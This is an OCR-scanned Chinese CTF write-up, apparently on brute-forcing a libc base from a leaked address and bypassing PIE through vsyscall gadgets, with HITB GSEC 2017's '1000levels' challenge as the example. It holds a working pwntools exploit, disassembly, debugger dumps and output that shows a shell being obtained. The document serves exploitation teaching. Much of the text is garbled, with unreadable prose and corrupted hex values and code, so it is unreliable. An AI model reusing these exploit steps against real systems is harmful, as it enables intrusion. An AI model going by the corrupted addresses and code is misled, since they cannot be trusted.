22 EF LA TN 4 [ AAAA7EFNNA7ROC2Y OANAAAAAAARARAAA
EEHERHHE

loc_5566A0F12E9E:

call _rand

cdq

|idie  [rbpevar 3y |

mov [rbp+var_ 4], edx

call _rand

cdq

idiv [rbp+var_34]

mov [rbp+var 8], edx

W warning X

3 5566A0F12EA4: got SIGFPE signal (Floating-point exception) (exc.code 8, tid 20259)

[] Don't display this message again (for this session only)

v 0 L L

12EA4: questions+6l (Synchronized with RIP)
O & x [0 Stack view

FA FF FF 48 ....... Hicaaaaa H A
00 00 48 89 .... - H.......H. DODO7FFC25BLCD98  DOOOOOD2DDBDY6 0D
00 48 8B 00 ......H.... .H.. DODO7FFC25BLACDAD  DOOODODORODODOOD
FF 985D €3 ..... Hisaanana 1- DODO7FFC25BLACDAS  DOOODODORODODOOD
C7 45 DO 00 UH..H..@.}.H.E.. DODO7FFC25BLCDBEO  0OOODODOROBODOND
C7 45 EO 00 ...H.E.....H.E.. DODO7FFC25BLCDBE DOOOBODORODODOND
7D CC PO 75 ...H.E......}..u DODO7FFC25BL4CDCO DOOO7FFC25BUCFOD [stack]:00007FFC25BACF 0O
45 CC B3I EB ... ........ E... AOOO7FFC25BLCDCE  OOBASS66ABF129D0 start
COBE CA7E ......cccacauaa t 0O0O7FFC25B4CDDO OOOO7FFC25BUCFOM [stack]:00007FFC25BACF 0O
B FB FF FF  ...ccccancnanana AOOB7FFC25BLCDDE  OOBASS66ABF12C8A gqo+Fé
~r LS " LS ARRATCCHASCDLORC A ARARARARARARARANG

EER [rbpvar_34] REIMIRE0, idivEIEIES T TREBIZ.
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|EEE‘ - I

| EFRATHIEETEH

mov [rbp+uvar 41. edx
call rand [rbp+var_34]=[[stack]:80087FFC25B4CD28 ]
cdq . db 0
idiv [rbp+idb 8
nov [¢bp+db a
mov eax, |db 8
imul eax, |db 8
mov [rbp+db 8
lea rdi, :db 8 E==ssss======t_ |
call _puts db 8
mov eax, |db ]
mov esi, 1db 0
ronized with RIP)
& x [O] Stack view
1 A ||00007FFC25B4CD18 00005566A0F129D0 start
. BOBB7FFC25B4CD20 0OBO7FFC25B4DA28 [stack]:00087FFC25B4D620
| 00007FFC25B4CD28
g G00807FFC25B4CD30 0OA00000000000000
g DOBA7FFC25BLCD38 0OPOS566ABF12F27 questions+EX

LEoh, FHAMEHE HRaddr 18 X MBERMEREHRERHERZ . X2FEAFHITR M E B AR
320, R8Nt ritHlIE. MX MM RESAATEER0E, HREBFSEYFMATEREARIER.
HEHRNFTENHFITOE
if addr_18 < 0:

addr_|8 = addr_|8 + 0x100000000
BT RALHEE LR R U A0R324L, MERTEM4N, HAIIEE

Brefi, BlAN+RESIE. FFR

BSCLE, FERNEHbLE LT 2 2 2E0x000055XXXXXXXXXX—-0x000056XXXXXXXXXX B HEME, FE k316918 2 8]
/B T 0x100%2=512)% . FAIBEEIEFE— N EX N XE R 5

addr = addr_18 + 0x7f8b00000000
AT IRBINER, BABMNATER 3 —MIERHOIE, N EENEEERNTUBIREEHEFL
ANAREE | ibettidit

-

Stack view

00007FFELD438030
0ORO7FFE49438038
DDBOVFFE49438040
DODBTFFE49438 048
BOBBTFFE49438050
BODB7FFER9L38058

BO0AO7FFE42438070
ODRO7FFE49438078
DODB7FFEL943BO80
B00B7FFEL49438088

00007FFER943B0A0
B0007FFEL24380A8
00DO7FFEL9H3BOBD
BODO7FFERO W38 068

PORB/FB2BD1BCB1 0

00007FB2BD79F4CO
DB00DOOBFFFFFFFF
0BDBSSHALL2L3 D58
POBO7FBZBD1BBIS8
DO0B7FB2BD22F8ET7
0BB07FB2BD577600
0OBODOBDODEOODGE
0000000000B00001
DODO7FB2BDS7 7683
00007FB2BDS728C0
0860000BBD231432
00000eBREDBNB000
0oB00eB0BR000000
080000BRO0B0B0E00
0000000000000000
0B007FB2BD573400
dobopaooooeo00O00
BOO07FFE49H38110

=,
2.24 . 5s0:00007FBZBD1BCB1E
debugBB3 :0BO07FB2BD79FACH

-got.plt:off_S556A44243058

libc 2.24.50:08007FB2BD1BB358
libc_2.24.s0:_I0_file write+37
libec 2.24.s50:_10_2 1_stdout_

libe_2.24.s50:_10_2_1_stdout_+83
libc_2.24.50:00007FB2BD5728C0

libc_2.24.s0:_I0_file_jumps

[stack]:00007FFE4O438110
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IRHEPIERYRIBAERPE, FATTLUBE=AIEAEL, IRAM & K ket 204

if hex(addr) [-2:] == '0Ob": #__IO_fiIe_overrow+EB
libc_base = addr — 0x7c¢90b

elif hex(addr) [-2:] == 'd2": #puts+1B2
libc_base = addr — 0x70ad2

elif hex(addr) [-3:] == '600':# 10 2 1 _stdout_

1
1
libc_base = addr — 0x3c2600
elif hex(addr) [-3:] == '400':# 10 _file_jumps
libc_base = addr — 0x3be400
1
1
1

elif hex(addr) [-2:] == '83": # 10 2 1 stdout_+83
libc_base = addr — 0x3c2683

elif hex(addr) [-2:] == '32": # 10 do writet+G2
libc_base = addr — 0x7¢370 - Oxc2

elif hex(addr) [-2:] == 'e7": # 10 do_write+37

libc_base = addr — 0x7¢370 - 0x37
BENFTIHE L RN EENEIES—TLIE, RBE—THNEREHtry. . . except—MNBENCIRME, F
EJZ—/‘H:%DZIK HWSE-WW@E:FMWF XEE)EEEIJJ!Z

Opening lﬂl’“lf‘(TLHH to 172 30 0eel: Done
, leak addr pepee2, libc base at ©x@, one gadget at Ox
Clo ed connection to 172.17.0.3 port 16eel
Opening connection to 172.17.6.3 on port 16601: Done
try time 2632, leak addr ex7f8be6147600, libc b at ex7fsbes5ds5000, one gadget at @x7f8be5dca526
Closed connection to 172.17.0.3 port leeel
Opening connection to 1?4 17.6.3 on port 10601: Done
try time 2 , lea 7f8b leZﬁﬁUD Llibc base at @x7f8ba@c63000, one gadget at O@x7fBba®caB526
Switching to inte tive mode

MNEREATAT AR ARG 22K 7263308, #HEEFE—T, RETEELLEZH.
HERRFE R _E AT AR A Ho I At 38 % SR AR B ROPRI L, BT EIE P EZBsystem, BLBHIEF
ﬁ_ﬂ,ﬁIl«){ﬁﬁ—To s, FANMBMEMT—HHhBRB AR EE—HH, Bt UEA TR I,

0x03 f#Mvdso/vsyscall bypass PIE

FAE, EFB TASLRMARS EE1TPIERRRF, MEREERIMIE RN, AMEFLRANR
GraXMERHATNNIL, RERGFEE— A Hvsyscal l. (BT vsyscal IE—RBKRITHRATHINZ

ZWHBIRT, WhE9kal itbBETHBZ—. vsyscal IFERZF LI, FTiEMdocker iR, EILEMS
vsyscal | #HX A LI ERRT AR FEUbuntu 16. 04 E3#1T, [EIRT | ibcR BRI EEHITIEE)

angerine@ubuntu:~$ cat /proc/self/maps
P 640c0080 r-xp 00000006 08:01 393241 /bin/cat
--p 0000bAOG ©8:61 393241 /bin/cat
Jbin/cat
[heap]
7 --p 00006000 = 1844000 _tu;rfllb,’loceLe/lucsle archive
2718767600 - 88c7000 r-xp 00000080 08:01 796178 / 1 -gnu/libc-2.23.
7271887000~ 3ac? ---p 001cO000 © 796178 /Lib/> 64- <-gnu/1ibc-
f2718ac7600- B --p 081c6680 O 796178 ib/x - x-gnu/1ibc
7f2718acbeoe- -p 901c4000 796178 i - -gnu/1ibc
f2718acdese- 8 -p 688 6 o 00
7f2718ad1000 - 0 -xp 00000000 796176 /%86_64- -gnu/1d
7f2718cbbeee - 8 -p 00000000 00: 2]
7f2718cf6000 - 8cf7000 r--p 00025000 08:81 796176 Jib/x8 -gnu/1d-2.23.s0
7f2718cf7000- 8cfaeeo -p 000626600 : 796176 Jlib/x86_64-1inux-gnu/1d-2
7f2718cf80800- 8cf9008 e DGBGBBDG
7fffi4sdseee-7fffi148f6000 = 0
fff148f8000-7fff148fbo00 r--p O
0-7fff148Ffdo0e r-xp B660H ]
fFFFFffffeooene- f'ffffffffcolﬂﬂ@ r-xp BOL\DBOD(\ 00:00 0 [V‘y‘call]
anger inegubuntu:~$ cat /proc/self/maps
I -8646c000 r-xp 00000000 /binfcat
080 r--p 0086bOOE 4 /bin/cat
066d060 rw-p ©600cO0O 68 4 /binfcat
80000 rw-p 0B80E000 [heap]
- 7b 1844000 /u;r/llb,’lncah;lmal; arch\\.e
rf}TDDFC‘BBDB"”)?DE‘EB‘?BE‘U 0o00080 : 796178
f37b0985000 - 7f37bobsoe0e -- 01co680 101 796178
7f37bobs9e0e - 7f37bOb8dOGO - 001co000 08: 796178
7f37bebsdeee-7f37bebsfeee -p 001c4000 © 796178
7f37thEFDDB— 7f37b6b93660 rw-p 06006680 8 0
8-7f37bebbseee r-xp 00000000 08 796176
-7f37b6da2600 rw-p 06666606 00:00 ©
0-7f37bodb9000 r--p 00025000 101 796176 ib/> 1inux-gnu/1d-2
-7f37bedbasee -p 00026000 08: 6 ! linux-gnu/1d-2
-7f37bedbbeco -p 00000000 00:0
-7ffd19d15000 -p 60000800
-7ffd19daceoo -p @ OUBDO
0-7ffd19daco0e 00000 06
Ffffffffffeoo000-fFFffffffff601000 r-xp 50&00000 00:00 0
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0040c000 r-xp DDBOBODO : 393241 /bin/cat
393241 /bin/fcat
01 393241 /bin/cat
rWw-p 060600006 ] [heap]
7f828aled000-7f828a4c5000 r-- 1844000 fusr/1ib/locale/locale-archive
7f82 ad4cqnnu 7f828a685000 796178 fllb;&sb 64-1inux-gnu/libc
778282885000 ) BE D 08: 796178 i i i
-7f828a889000 r-- B01c D € 796178 it . -1 -gnu f1ibc-
-7f828a88b000O 001c4000 € S ik i 4-1inux-gnu/libc
D-7f828a88f000 rw-p 00000000 00:
-7f828a8b5000 r-xp 00000000 € 5176 /1ib/x86_64-1inux-gnu/ld-2
-7f828aa%e000
-7f828aabseee : D0 € 796176 /1ib/x86_64-1inux-gnu/fld-2.2
-7f828aab6000e -p p26000 08: 796176 J1lib/x86_64-1inux-gnu/1d-2.
7f828aab7e0080 ; D €
p-7ffe9919b00O rw- ; [stack]
91b6000 - 7ffe991b9008 00000686 [wvar]
7ffe991b96060-7ffe991bboee r-x SGBDOUGG 1 H ; [vdso]
FEFFrffffffeoeece-frrffrffff601000 r-xp 00000000 00:00 © [vsyscall]
buntu:~$ cat /proc/sel
46c000 r-xp 0000DOBO B . /bin/cat
eonnbuao 0060c000 r--p 000ObOGO 0B:01 39 /bin/cat
OOSOdOOO rw-p nnoo p8: 0 9324 fbin/cat
: [heap]
3 -Tfﬂﬂdfﬁ?lﬂ@@ --p 00000000 08: 1%44000 Iusr!lib!louale!tocalo arrhiUE
feedf621000-7fe0df7e1000 ] i
7foedf7e1000-7f00df9e1000 001coo00
foadfoel1000-7fo0dfoes5008 -p 801c 9 08:01 5_64- 11nU\ qnu,llbc-
7f00df9e5000-7f00df9e7000 - :‘.Iﬂlr-mﬂﬂ ; 96 ,-’hb,-’xsr; 64-1inux-gnu/libc
foodfoe7000-7fo0df9ebooo :
-7f00dfa11600 r-xp 606 D6 € 796176 J1ib/x86_64-1inux-gnu/fld-2.2
-7feedfbfaooe = ; b 0
-7feedfc11000 r--p DO € 796176 /1ib/x86_64-1inux-gnu/ld-2
-7fe0dfc12000 rw-p 60026000 08: 796176 /1ib/x86_64-1inux-gnu/1d-2.
-7feedfc13000 -p 0060O0EO € ]
p-7fff944e8000 -p € po : G} [stack]
fffo45a8000-7fffo45aboee 00600000 @ ] [wvar]
7fff945abbeo-7fff945ad00e r-xp 6OOOEBE0O 00:00 O [vdso]
Frffffffffeoeeee-frffffffff601000 r-xp 00000000 00:00 © [vsyscall]

i EEAEE, REF/EBITTERcat /proc/seIf/mapsﬁﬁﬁiﬁﬁﬁﬁlﬂﬁ, AL IME i ER AT, R
vsyscal | —EHFaE O T FFF600000-0xffffffffff601000 (X E{FHcat /proc/[pid]l/mapsfIE T
TzEEFHIDAEljJ XRAFESTIDANAI ) AL X BRvsyscal |24, XE2FH2RHIE?
BEFEMRECEETRATHEELENT . Gatbil, IRBIWIndows/*UnixIRIERGERA T D RIRIFHT
=, W*&KEEH_L:FRm HﬂF‘ﬁﬁEHI:FR& VY EITRE A ENRIESR S W B ERNZ R R E— M
A4HARERBIAR, XMEOMBRINAMAInt 0x80/sysca||+1ﬂ}ﬂ?’fi't LHRMNEXFRXNMED
B, ATHRERENRS, RNSERHHN LT (FERRKREE REST, R tﬂ?ﬁ&@]m&u“%l’ﬂff&u
¥, REBNZEHIREIHNERNERIN NS EFREMAES, ﬁﬁEJ:TSE ’c)]?ﬁ@l]}ﬂ):’fi‘t X—idiz
EERB— TR S(TH:%‘“‘%QEIHFH WNgettimeofday3Rix, HTFMIZEEWIEA, ﬁﬂ%’éb’t%&lﬂﬁﬁ%ﬂ
ERX24REFE—IRE, FHEMETHR— RS, BRFERANERNETSNZEARMRNZ PRS2 A F
s, XgiRvsyscal |. FA1FEHAgdbAI LUIBysyscal | dump i SRANELZ] I DA X 22

SEQUUY: YUVUNIUE WU UYY
seq0B0:0000000000000000 ;
seq0f0: 0000000000000000

@ubuntu:~$ cat /proc/s Elf-mapr

o
000

seq0B0:00000000008000000 ; Seqgment type: Pure code
seg000: 000000B0D000DD0D seglDD segment byte public ‘CODE' usedh
seq000:0000000000000000 assume cs:seglon
seqo00: 0000000000000000 assumeé es:nothing, ss:nothing, ds:nothing, fs:nething, gs:nothing
seq000: 0000000000000000 noy rax, 6on
seqOBo:000800BA0BAOBONT7 syscall
seg000:0000000000000009 retn
seq0A0: 00000ORO0OO0ONAT ;
seq0B0: 000R0BDONBNRDBA align 406h
seq0B0:000000000000BL00 nov rax, OC9h
seq080: 0008000000000407 syscall
seq0Bo: 000000000000DL09 retn
seq0A0: 00AB0ORENAEABLAT =
seq000:000000BDDNODBL0A align 408h
seq000: 000E000E0000E800 noy rax, 135h
seqdo: 00000000000008 07 syscall
Seq0n0: 00000000000008 09 retn
seq0B0: 000E00ROAAB0BBAY ;
eqgiBo: 000OAOBO0BONOS BA align 800h
seq000: 000000NINAOA0SGA SegoOd ends

egono: 00000 0ooes oA
eq000: 000000NOAOON0S BA
seqBRO: ANABNNDANAOABS AA end




OB

B E)X Eﬁ’ﬁ_/‘%ﬁﬂﬁﬁ MEZIT 535 2eettimeofday, timeFlgetcpus EE:FE’%%WFH #R2IE
dsyscal IREM, XMBHRERIVNFEE—NAiEMsysal I T

{15k E—REB"/HITB GSEC CTF 2017-1000levels/1000levels, IE0 E—T5pri, XMEEHSIHE
1001 evel sSBYFERIR, ME—RIEFNFE X F2EIEME] T1000. FEEH, FHAIERIX—TERvsyscal | HHY
syscal lo BANEFRAEFLTN S, EEABELEHE—TSEE, FHIEKRIPE|OKffFffffff600007,
BNgE— syscal | FrfE L,

LLext:DRONSSAF6ZUTEFME var_20= quord ptr -20h - ' RAX 0000DDOODOOODDID

-
_text :0DOO55AF6247BFLE var_18= quord ptr -18h
.text:0DOOSSAF62L7BFAE var_l= duord ptr - ;::::::::::::::::::: :
_.text : DROOSSAF 6247 BFLE
= S "0 0000900000080000
© Ltext:DOOOSSAF62A7BFAF mov rbp, rsp [RST DDODDDOODDODDDOD
© .text:BBBOSSAF62478F52 sub rsp, 36n |[RDI BBOOTFFEE98529D8 v [s
: text:O00055AF62478F56 mov [rbprvar_30], 0 '|ReP sooOSSAF62L7EFOE
.text:BROOSSAF62478FSE mov [rbp+var_28], @ | =
“ | text:D00055AF62478F66 mov  [rbpevar 20], 0 [ttt S L2 e b £
©.text:B0B05SAF62478F6E mov frbp+var 181. 8 |RIP FFFFFFFFFF600007 o
Y .text:DBORSSAF i ¢ ||R8 DOOOSSAF624790LO v
* |text:osepssar % 7O [R9 00007FAE927E3DDD 4 1d
-text:OB0D55AF Emunanennannu& "
o :n::::::i 4, FFFFFFFFFF600007: got SIGSEGV signal (Segmentation violation) (exc.code b, tid 25554) | |Ip11 eneu7FaE92u2c300 4 11
LLexLD 1
* | text:000055AF| A |[R12 DBOESSAF624789D0 & s
©Ltext:@BBO5SAF |13 00007FFEEP852908 4 [s
L text:OBOOSSAF |I| ||R14 DoODOBODRBODRBOD «

| i R15 DOOROOOOOO00000D
00000FE6 0000 [ ] Don't display this message again (for this session only) ||EFL noooe24s
| |

<

| @ Hex Viev-1 O & x [0 Stack viev

MBOO7FFEE9E52998 00 00 00 00 0D 00 0D 0O
BB0O7FFEE?8529A8 DO 29 85 E? FE 7F 00 @0
MORO7FFEE9RS2988 F9 89 &7 62 AF 55 00 00
ABOO7FFEE98529C8 1C 00 00 00 00 00 00 B0 Sk ARBATFFEEY852910 00000OO10
.IIB?FFEEOISNIII Zf 6! 09 (E ZI' ?8 dl m o0 00 00 0D 0D 0D 0D ll srasasa nnnarrrrwss?vlu DOBOSSAFG

HITH R IR R SEIR. B8R, ?*zﬂ]&ﬂ&'ﬁ?%*‘lﬁﬁvsyscalIEPE’szscalla“a"v\o XZ2FEAvsyscal IFITHIS
HITRE, MRANENEHTELIITHIERSHE. BEit, HRNE—EEREF Boxffffffffff600000,
OxFFFFFFffff600400, Oxffffffffff6008005X =Mk, ABAX =AMt TFHRINIKRIZEH2BR? {14
SoHmEE

[E11001evels—#£, 1000levelsthBE—hintikli

int _ cdecl main{int argc, const char =xargu, const char =xenvp)

{

O0OO7FFEES852900 0O0ODOODOO
ODDO7FFEEVES2908  0ODD7FFEE

int v3; // eax@2

init();
banner{);
vhile { 1)
{
while ( 1)
{
print_menu();
v3d = read_num();
if ((v3 t=2)
break;
hint();
H
if (vd ==3)
break;
if (v3 ==1)
go();
else
puts{"Wrong input");
}
give_up();
return 0;

H
XAhintBINEE R H L /T Eshow_hintIET BT systemf it




QEM|E i BTARTIETER

int hint(void)
{

signed _ inté4 v1; /7 [sp+8h] [bp-108h]@2
signed int v2; /7 [sp+16h] [bp-100h]@3
signed __int16 v3; /7 [sp+14h] [bp-FCh]@3
if ( show_hint )

sprintf({char =)&v1, "Hint: %p\n", &system, &system);

|3
else
{
Ul = "H HUP ONH";
v2 = "UF 0';
vd = 'N';
H

return puts{{const char =)&uw1):
BTRZERESMINFE, BNHRGEEEKshow_hint, BROHCHNKE, HMNLIMAE show_hint
REANE, ELsystemfitit# S W EAEK L.

Weg= ]

; Attributes: bp-based Frame
3 __intés hint(uvoid)

public _Z&hintw

_Zynhinty proc near

var_110= quword ptr -118h

i n
[ e e 1 5 2 G5y stem B BB RS
mo, o (] rbp+var_11063{&

L] L
mou rax, [rbpsvar_110]
lea rdx, [rbp+var_118]) loc_D41:
lea rex, [rdxs8] lea rax, [rbpsvar_110]
nov rd=, rax add rax, 8
lea rsi, alintP ; "Hint: Tpin"| |mov rsi, ME2ONES7S0204FL4ER
nov rdi, rex ] nov [rax], rsi
now eax, 0 now dword ptr [rax+8], S546204Fh
call _sprintf oY word ptr [rax+8Ch], SEh
jmp short loc_D66

. |

lea rax, [rbp+var_1108]
add rax, 8

ROy rdi, rax ; &
call _puts

nop

leave

retn

_Zihinty endp

BFRANERAT ibo, FEEHATATIUFIRXA MBI EE fheadgetshIfRT, B EIEMone
gadget RCE. {BREA—MEIE: Bf1EAMEX MUTR?

RV OUE S E I A T Mo, ESTIABASS100 evels—B., {BEE E—HRIVIBIRRL
E?;E;Eiﬁl‘ﬂ%fﬂ@ﬁ*ﬂli%ﬁnﬁﬁﬁ)\wjz%ﬁ%lﬂ@, MAMNRIEE LS, EXFEERNLREEE—LaR
4R
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; Attributes: bp-based frame

; _ intéhs go{void)
public _Z22gov
_Z2gov proc near

var_128= quord ptr -126h
var_118= dword ptr -118h
var_114= dword ptr -114h
var_1168= qwerd ptr -1106h
var_1688= dword ptr -188h

push rbp
mov rbp, rsp
sub rsp, 126h
lea rdi, aHowManyLevels? ; “How many levels?"
call _puts
call _28read_numv s read_num(void)
mnov [rbp+var_128], rax
mov rax, [rbp+var_128]
test rax, rax
jg short loc_BB9
M
lea rdi, aCoward ; "Coward”
call _puts loc_BB9:
jmp short loc_BC7 mov rax, [rbpt+var_128]
mov [rbp+var_118], rax
N .
_ (R
il i (5
loc_BC7: ; "Any more?"
lea rdi, afAnyHore?
call _puts
call _28read_numv ; read_num{void)
mov [rbp+var_120], rax
mov rdx, [rbp+var_118]
mov rax, [rbp+var_128]
add rax, rdx
mov [¥bp+uar_110], rax
mov rax, [rbp+var_110]
test rax, rax

AIEY, HMAREREAEHMRE, rbprvar_110HA S S X FHEVL, MMASKNIITS,
ABLIX A var_110F0systemttblit FrEEAIvar_110R AR —NRAAVE? IRIBIHRMFT REA RIE Fima i neR HC IS A 53
#r, BFRRER EFHEEHHHIRE, mainkHBHIrsp, WERhintMgofIrbpRIZRA ST, ME
S AL ANt
Welcome to 1000levels, it's much more diffcult than before.
1. Go

2. Hint

3. Give up

Choice:

-
'S

NO PWN NO FUN
1. Go

2. Hint
3. Give up
Choice:

1
How many levels?
0

Coward
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= n]
S — =T, - Coward” == RBP Q0087FFF12AB3M10 & [stack]:00007FFF12AB3NT0
call _puts loc_5642035A8BDY: RSP G00O7FFF12AB32F0 « [stack]:0B0O7FFF12AB3ZFO
jmp short loc_S642035A8BCT nov rax, [rbpruar_120] RIP 00005642 035ABBC7 « go(void) :loc_S642035ABBCT
moy [rbpsvar_118], rax RE Q00O7FOEVIIVETO0 « debugBE? : BOBBTF BEFIIN6T 00
B0 41000000000000000
[rbpsvar_110]=[[stack]: 00007FFF12AB3300]
db 90h ; ?
- db A3h ; C "
db @07h ; W _start
loc_S5642 B35ABBCT : ; "Any more?’ ’ - _
= . 2db  92h ; k]2 53
lea  rdi, anny ol % [stack]:@8007FFF12AB3530
call _puts db ?l;h . -
call _Z8read_numu : read muniuunb M . (™
mow [rbpsvar_128], rax db .
BBCT7 (Synchronized with RIP) db AEh : M
:ﬂb &Fh ; D
N | .
OOOR7FFF1ZAB32FE  DDOBSOH42DISABDTY hint(void)+89
@O0B7FFF12ABI300  DO0B7FBE92074390 libc_2.23.s0:_libc_system
BOOB7FFF12ABIZ08  KEZONESTS 02 DUF NE
BOBB7FFF1ZAB3310  D00DDOMESSNG2 ONF
na ?;/‘ 4= D —Nfy S v
PREEETIIT, RIMEZRRMANKX T LW EREMEsystem £
How many levels?
0
Coward
Any more?
:ZSread_nuau : read_num(void) RSP BBOB7FFF12AB32FD w [stal:lf]:l]l]l]l]?FFH?ﬂBSzFi!
[rbpsvar_128], rax RIP 80085642035A8C01 4 go(void)+85
rdx, [rbp+var_110] R8 O00DOODOODOOBDOD
rax, [rbpsvar_120] R 1999999999999999
rax, rdx R10 0o0BOOBONGBAOROAD
E::P‘::;—1::!’1::: R11 00007F BE92EAGSED w libc 2.23.s0:_ libc_thread freere
rax' raxp - R12 DOOBS642035A89D0 & _start
short 10:_5..2“5..[:1‘ R13 BOOO7FFF12AB3530 v [stack]:000B7FFF12AB3530
T R14 BBBBOOBOOBOOBOAD
R15 booBdOBOOBOODOOD
b e =] EFL 00000202
0O & x [0 Stack view
A B87FFF12AB32F B
O0007FFF12AB32F8  0ODAS642035A8D79 hint{void)+89
B8087FFF12AB3300 0O0O7FOE92D74392 libc 2.23.50:5ystem+2
BO0B7FFF12AB3308 HE204ES5750204FLE
BOOB7FFF12AB3310 00000DLESSH62 DL4F
BO0BYFFF12AB3318 0000000000000000
BOOOYFFF12AB3320 0000000000000000
BAOBYFFF12AB3328 0ODDBOODOODDDBOD

BATFERMAEEEREIESAS, FBERNTUETMANRHBELsystemf& B one gadget rce. ET
SERNEZ M Z TR B IEHIRIPIEE RS F one gadget rces
HTFrbp_var_ 1M0OEMESELRMEIFRE, LWRETALHERINR, FURNARE—PENRZH
ARALIBFH . #RIE1001evel sSEUBIARBRNIRE S HERM AL T :

io = remote('127.0.0.1", 10001)

libc_base = —0x456a0
one_gadget base = 0x45526

vsyscal | _gettimeofday = Oxffffffffff600000

def answer () :
io. recvuntil ("Question: ")
answer = eval (io. recvuntil (" =

") [:=3])

#R K systemR#E | ibeFF LA RTE
#N_Eone gadget rceZE | ibcHLBIRFE
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io. recvuntil ("Answer:")
io. sendl ine (str (answer))

io. recvuntil ('Choice:")

io.sendline('2") #ilsystemfyibit NS
io. recvuntil ('Choice:")

io.sendline('1") #iFHgo ()

io recvuntil ('How many levels?")

o.sendline ("-1") #HNBELGUNTFO, FFIEESE
?ﬁsystemﬂ']ﬂﬂiﬂ:
io. recvunti |l ('Any more?"')

io. sendl ine (str (I ibc_base+one_gadget base))

#E RN K RHFHRI N RIS E, A

B N4 systemfy it 3 Hone gadget rcefiithiit

for i in range(999) : HIEINE R
log. info (i)
answer ()
ij‘%ﬁ(if)”.ﬁx%’l\ff—"ﬁ Blrip, SAMripSEone gadget rceiZB[=/ it E.
l RIP 0B0B560E4807BFAD v level{int)+128
R8 w
ﬁé YY§ R9 1999999999999999 .,
R10 080080B0AA0A0000
R11 B00087F1630A355EM w libc 2.23.so:_ libc_thread_freeres+24CH
R12 0BOOS6OELBO7BIDD v start
R13 0P0B7FFCFEFB8950 & [stack]:B0087FFCFEFE895A
_251eveli endp R14 0000000000000000 «
R15 DOOOOOOOOOOO0000
EFL 00000246
O & x | [§ Stack view o s
~ ||B0007FFCFEFBB6LCS
O0OO7FFCFEFBBGDO 3B837363534333231
OOOO7FFCFEFBBAGDS  00OOOOOPOOODD0O00
00007FFCFEFBSGED  DOODORONDODOODD
00007FFCFEFBS6ES  9PPORORONAOD0OD0D
00007FFCFEFBS6FD  900OAD440A0B1DCE
00007FFCFEFBS6FS  9O0OODBENAOD0OT7 0
00007FFCFEFBS700 ©OPO7FFCFEFBS830 [stack]:00087FFCFEFB8830
DOOO7FFCFEFBE708  DODBS6BE4807BC7Y  go(void)+F8
00007FFCFEFBS718 FFFFFFFFFFFFFESG
00007FFCFEFBS718  BBBO56BESADDI292 one gadget
08007FFCFEFBS720 BBBO7F1638983216 libc 2.23.s0:_ strtold nan*ll!m—-—»
08007FFCFEFBS728 GBOOB00BOBOBO3ES
0B007FFCFEFBS730 BBBOBBYESSAG2 BAF

HEMNEEAILIZF1EITElone gadget rcefg? ﬁ%iﬁ%ﬁfﬁﬁﬂﬁﬁﬂ’ﬁ—ﬂ“ﬁ*ﬂqﬁiﬁlNOP slide, 1B
shel | code {IRHELERIH A K ERINOPHITIETR . HTNPRE—RASKET L TXHNTIRS, FAiTR—

HENOPfE#1Tshe | IcodeXfshel | codeHITNBE
XEFHNEHEATAAretis S
i, BNRAB—PNAIERretds
?ﬁﬁ]ﬁﬁﬁ%ﬂi_, vsyscal [ HBE=NEE

ASLR.

RY0AR,

Tt 98" BIT—%. BTIEFF TPIERRMEHBEAEFES
SHrfEtbil . XAEHEvsyscal IFLRERIAT .

A, B LUEMMIEENEEE, A—ERE X

= [8] Fr g ith

BREMANOFEN. FHAIEAIXone gadget rceEK

rax = 0. TR X ER A Hgettimeofday TR IIATIR EMERLZ0. EL IR LULIEERE =X vsyscal | FAY

gettimeofday, FlAMITERret

6 3ELYY

/B i_L_):lL

S (8],

io. send ("a'*0x38 + pb64(vsyscal |l gettimeofday)*3)
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] 995

] 996

] 997

] 998

] Switching to interactive mode
Answer:5 1s

linux_serverx64

ubuntu.17.04.amd64. tar
vdso

IE!lﬂ?izﬂ]ﬁﬁJb, RER—LRH,

[
[.
[..
[..
[

719 * 43 = ?
10001levels
1001evels

vmware-tools-distrib

BT vsyscal | it B EE T,

BANARRAT TR FTHNE

VMwareTools-10.2.0-7259539.tar.gz

BEERTRK

BIFRE, Eitkvsyscal |‘rE|9%?t%&?ﬁﬁ’]’fﬂ%ﬂvdso}iﬁﬂ)lﬁo Svsyscal ITNERIZ, vdsoRyibiltth 2REHLILAY,

BESBHESHUERERNT, FFEEAADFE,

X ERERITAT LRI vdso Hsyscal | kRF—LIRE

R W . D 0000 public &4 0000 0000 0000 0000
R W D 0000 public [ 000 0000 000 0000
R W D 0000  public 64 0000 0000 0000 0000
R D 0000 public &4 0000 X 0000 0000
0 R D 0000 publsc 64 0000 0000 0000
[vs) FRFFRFFFFF601000 R D 0000  public 64 0000 0000 0000
[udso] :0AROTFFOBZYTSOCT mov [rsiss], edx A RAX DOOO0R0O00R00BIR .
s WL o snsansonsoiees
[vdso] : 0URO7FFDE2G7SDCE RCX 0080080000000000 .,
[vdsa] :80007FFDB2975DCR loc_TFFDB2975DCE: ; CODE XREF: [vdso]:@0087FFDB2975D3 07§ RDX D000080000006000
| [vdso]: 00007FFDB29750CE nov eax, 600 RSI 0000000000000000 «
[wdso] :0O0OTFFFDE29TSOCD mov rdi, ri11 ROI BO0O7FFDBZVIFOBE & [stack]:BROBTFFDE293F 08I
i -
E {1’:%:3:3?:::533:3: ;?;uu short loc_7FFDB2975D5F NP SRRETEEY1RAEACHS. s - Mk roe Inic
wisn]: &
[udsn] : 0R0B7FFDB2975004 - nsrulurrrnan:rron & [stack]:00007FFOB29IEFI
[vdso] : 00BO7FFDB29750D4 RIP DOOO7FFDB2975000 & [vdso]:00007FFDEZ9TSD0I
[wds0] :00007FFRBEZY750DY loc_7FFDB29750D4: : CODE XREF: [wdso]:@0087FFDRZ97SD06T] RS DODOSSSO1GAE1DMR & _ libc_csu_Ffini
P* |[vdso] z0R00FFFDB29750D4 xor edx, edx RO BOBOTFFGDABYSABE v Ld 2.23.s0: _dl_ritld_di_
—= |[[vds0]:00007FFDEZTSODE jRp loc_TFFDBZ9TSD2N R10 00B0000BR0D0DERE -
l"""’”J ‘Tﬂﬂ”ffﬁfm“?“_ P R11 80BO7FFODATBB7AE w 1ibc 2.23.50:_ libe_sti
s -| o008 . 1Fh R12 D0BOSSS916AEDPDN & _start
[vdso] : REBRTFF B4h : D R12 ROUO7FFDB29IF BN & [stack]:BR0E7FFDEZ9IF A
1] : DARNT! n R1h p0ROORODRDRODROE -
o] zBa0u e R15 Q000ORODQ0R00R0D .
wdso] : 0000 S5h ;U EFL 00000286
[vdso] :BRe07 58h ; H
UNENOWN 00007FFDB2575DD0: [vdso] :00007FFDB2575DD0 (Syn nized with RIP) w
< >
